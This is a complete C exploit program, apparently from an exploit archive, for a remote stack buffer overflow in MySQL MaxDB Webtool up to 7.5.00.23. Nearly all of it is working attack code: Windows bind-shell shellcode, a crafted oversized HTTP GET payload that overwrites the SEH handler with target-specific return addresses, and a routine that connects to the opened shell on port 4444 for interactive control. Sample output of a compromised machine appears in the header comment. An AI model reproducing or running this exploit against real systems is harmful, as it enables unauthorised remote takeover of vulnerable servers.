============================================================== MySQL MaxDB Webtool <= 7.5.00.23 Remote Stack Overflow Exploit ============================================================== /* * MySQL MaxDB Webtool Remote Stack Overflow Exploit * * cybertronic[at]gmx[dot]net * * 04/27/2005 * __ __ _ * _______ __/ /_ ___ _____/ /__________ ____ (_)____ * / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/ * / /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__ * \___/\__, /_.___/\___/_/ \__/_/ \____/_/ /_/_/\___/ * /____/ * * --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net * --[ select target * --[ 0 [0x100163d2] esi ebp ret * --[ 1 [0xdeadc0de] crash server * >> 0 * --[ connecting to 192.168.2.103:9999...done! * --[ sending packet [ 16383 bytes ]...done! * --[ sleeping 5 seconds before connecting to 192.168.2.103:4444... * --[ connecting to 192.168.2.103:4444...done! * --[ b0x pwned - h4ve phun * Microsoft Windows XP [Version 5.1.2600] * (C) Copyright 1985-2001 Microsoft Corp. * * C:\WINDOWS\system32> * */ #include #include #include #include #define PORT 9999 #define RED "\E[31m\E[1m" #define GREEN "\E[32m\E[1m" #define YELLOW "\E[33m\E[1m" #define BLUE "\E[34m\E[1m" #define NORMAL "\E[m" /* * * prototypes * */ int exploit ( int s, unsigned long ret ); int isip ( char *ip ); int shell ( int s, char* tip, unsigned short cbport ); void connect_to_bindshell ( char* tip, unsigned short bport ); void header (); void wait ( int sec ); /********************* * Windows Shellcode * *********************/ /* win32_bind */ unsigned char bindshell[] = "\x31\xc9\x83\xe9\xaf\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x92" "\x35\x88\x95\x83\xeb\xfc\xe2\xf4\x6e\x5f\x63\xda\x7a\xcc\x77\x6a" "\x6d\x55\x03\xf9\xb6\x11\x03\xd0\xae\xbe\xf4\x90\xea\x34\x67\x1e" "\xdd\x2d\x03\xca\xb2\x34\x63\x76\xa2\x7c\x03\xa1\x19\x34\x66\xa4" "\x52\xac\x24\x11\x52\x41\x8f\x54\x58\x38\x89\x57\x79\xc1\xb3\xc1" "\xb6\x1d\xfd\x76\x19\x6a\xac\x94\x79\x53\x03\x99\xd9\xbe\xd7\x89" "\x93\xde\x8b\xb9\x19\xbc\xe4\xb1\x8e\x54\x4b\xa4\x52\x51\x03\xd5" "\xa2\xbe\xc8\x99\x19\x45\x94\x38\x19\x75\x80\xcb\xfa\xbb\xc6\x9b" "\x7e\x65\x77\x43\xa3\xee\xee\xc6\xf4\x5d\xbb\xa7\xfa\x42\xfb\xa7" "\xcd\x61\x77\x45\xfa\xfe\x65\x69\xa9\x65\x77\x43\xcd\xbc\x6d\xf3" "\x13\xd8\x80\x97\xc7\x5f\x8a\x6a\x42\x5d\x51\x9c\x67\x98\xdf\x6a" "\x44\x66\xdb\xc6\xc1\x66\xcb\xc6\xd1\x66\x77\x45\xf4\x5d\x99\xc9" "\xf4\x66\x01\x74\x07\x5d\x2c\x8f\xe2\xf2\xdf\x6a\x44\x5f\x98\xc4" "\xc7\xca\x58\xfd\x36\x98\xa6\x7c\xc5\xca\x5e\xc6\xc7\xca\x58\xfd" "\x77\x7c\x0e\xdc\xc5\xca\x5e\xc5\xc6\x61\xdd\x6a\x42\xa6\xe0\x72" "\xeb\xf3\xf1\xc2\x6d\xe3\xdd\x6a\x42\x53\xe2\xf1\xf4\x5d\xeb\xf8" "\x1b\xd0\xe2\xc5\xcb\x1c\x44\x1c\x75\x5f\xcc\x1c\x70\x04\x48\x66" "\x38\xcb\xca\xb8\x6c\x77\xa4\x06\x1f\x4f\xb0\x3e\x39\x9e\xe0\xe7" "\x6c\x86\x9e\x6a\xe7\x71\x77\x43\xc9\x62\xda\xc4\xc3\x64\xe2\x94" "\xc3\x64\xdd\xc4\x6d\xe5\xe0\x38\x4b\x30\x46\xc6\x6d\xe3\xe2\x6a" "\x6d\x02\x77\x45\x19\x62\x74\x16\x56\x51\x77\x43\xc0\xca\x58\xfd" "\x62\xbf\x8c\xca\xc1\xca\x5e\x6a\x42\x35\x88\x95"; unsigned char jmp1[] = "\xeb\x08"; unsigned char jmp2[] = "\xe9\xe2\xf7\xff\xff"; //jmp -2078 /* * * structures * */ struct targets { int num; unsigned long ret; char name[64]; } target[]= { { 0, 0x100163d2, "WinXP Pro SP1 GER" }, //tested working on my WinXP Pro SP1 box [ pop pop ret in wapi.dll ] { 1, 0xdeadc0de, "crash server" }, }; /* * * functions * */ int exploit ( int s, unsigned long ret ) { char buffer[16384]; bzero ( &buffer, sizeof ( buffer ) ); memset ( buffer, 0x90, sizeof ( buffer ) -13 ); strncpy ( buffer, "GET /%", 6 ); memcpy ( buffer + 1600, bindshell, sizeof ( bindshell ) - 1 ); memcpy ( buffer + 3657, jmp1, sizeof ( jmp1 ) -1 ); /* * * SEH offset changes for different binary path * This exploits WinXP Pro SP1 GER asuming the * default path of C:\Programme\sdb\programs\web\Documents * englisch version is supported by metasploit * http://www.metasploit.com/projects/Framework/modules/exploits/maxdb_webdbm_get_overflow.pm * */ strncpy ( buffer + 3661, ( unsigned char* ) &ret, 4 ); memcpy ( buffer + 3673, jmp2, sizeof ( jmp2 ) -1 ); strncat ( buffer, "HTTP/1.0\r\n\r\n", 12 ); printf ( "--[ sending packet [ %u bytes ]...", strlen ( buffer ) ); if ( write ( s, buffer, strlen ( buffer ) ) <= 0 ) { printf ( RED "failed!\n" NORMAL); return ( 1 ); } printf ( YELLOW "done!\n" NORMAL); return ( 0 ); } int isip ( char *ip ) { int a, b, c, d; if ( !sscanf ( ip, "%d.%d.%d.%d", &a, &b, &c, &d ) ) return ( 0 ); if ( a < 1 ) return ( 0 ); if ( a > 255 ) return 0; if ( b < 0 ) return 0; if ( b > 255 ) return 0; if ( c < 0 ) return 0; if ( c > 255 ) return 0; if ( d < 0 ) return 0; if ( d > 255 ) return 0; return 1; } int shell ( int s, char* tip, unsigned short cbport ) { int n; char buffer[2048]; fd_set fd_read; printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p" YELLOW "w" NORMAL "n" YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL "v" YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n" NORMAL "\n" ); FD_ZERO ( &fd_read ); FD_SET ( s, &fd_read ); FD_SET ( 0, &fd_read ); while ( 1 ) { FD_SET ( s, &fd_read ); FD_SET ( 0, &fd_read ); if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 ) break; if ( FD_ISSET ( s, &fd_read ) ) { if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0 ) ) < 0 ) { printf ( "bye bye...\n" ); return; } if ( write ( 1, buffer, n ) < 0 ) { printf ( "bye bye...\n" ); return; } } if ( FD_ISSET ( 0, &fd_read ) ) { if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) ) < 0 ) { printf ( "bye bye...\n" ); return; } if ( send ( s, buffer, n, 0 ) < 0 ) { printf ( "bye bye...\n" ); return; } } usleep(10); } } void connect_to_bindshell ( char* tip, unsigned short bport ) { int s; int sec = 5; // change this for fast targets struct sockaddr_in remote_addr; struct hostent *host_addr; if ( ( host_addr = gethostbyname ( tip ) ) == NULL ) { fprintf ( stderr, "cannot resolve \"%s\"\n", tip ); exit ( 1 ); } remote_addr.sin_family = AF_INET; remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr ); remote_addr.sin_port = htons ( bport ); if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 ) { printf ( "socket failed!\n" ); exit ( 1 ); } printf ("--[ sleeping %d seconds before connecting to %s:%u...\n", sec, tip, bport ); wait ( sec ); printf ( "--[ connecting to %s:%u...", tip, bport ); if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 ) { printf ( RED "failed!\n" NORMAL); exit ( 1 ); } printf ( YELLOW "done!\n" NORMAL); shell ( s, tip, bport ); } void header () { printf ( " __ __ _ \n" ); printf ( " _______ __/ /_ ___ _____/ /__________ ____ (_)____ \n" ); printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ ___/ __ \\/ __ \\/ / ___/ \n" ); printf ( "/ /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__ \n" ); printf ( "\\___/\\__, /_.___/\\___/_/ \\__/_/ \\____/_/ /_/_/\\___/ \n" ); printf ( " /____/ \n\n" ); printf ( "--[ exploit by : cybertronic - cybertronic[at]gmx[dot]net\n" ); } void wait ( int sec ) { sleep ( sec ); } int main ( int argc, char* argv[] ) { int s, targ, i; struct sockaddr_in remote_addr; struct hostent* host_addr; if ( argc != 2 ) { printf ( "Usage: %s \n", argv[0] ); exit ( 1 ); } system ( "clear" ); header (); if ( !isip ( argv[1] ) ) { printf ( "Invalid Target IP!\n" ); exit ( 1 ); } printf("--[ select target\n"); for ( i = 0; i < 2; i++ ) printf ( "--[ %d [0x%08x] %s\n", target[i].num, target[i].ret, target[i].name ); printf ( " >> " ); scanf ( "%d", &targ ); if ( targ != 0 ) if ( targ != 1 ) { printf ( "--[ invalid target!\n" ); exit ( 1 ); } if ( ( host_addr = gethostbyname ( argv[1] ) ) == NULL ) { fprintf ( stderr, "cannot resolve \"%s\"\n", argv[1] ); exit ( 1 ); } remote_addr.sin_family = AF_INET; remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr ); remote_addr.sin_port = htons ( PORT ); if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 ) { printf ( "socket failed!\n" ); exit ( 1 ); } printf ( "--[ connecting to %s:%u...", argv[1], PORT ); if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 ) { printf ( "failed!\n" ); exit ( 1 ); } printf ( "done!\n" ); if ( exploit ( s, target[targ].ret ) == 1 ) { printf ( "exploitation FAILED!\n" ); exit ( 1 ); } close ( s ); connect_to_bindshell ( argv[1], 4444 ); } # 0day.today [2018-01-05] #

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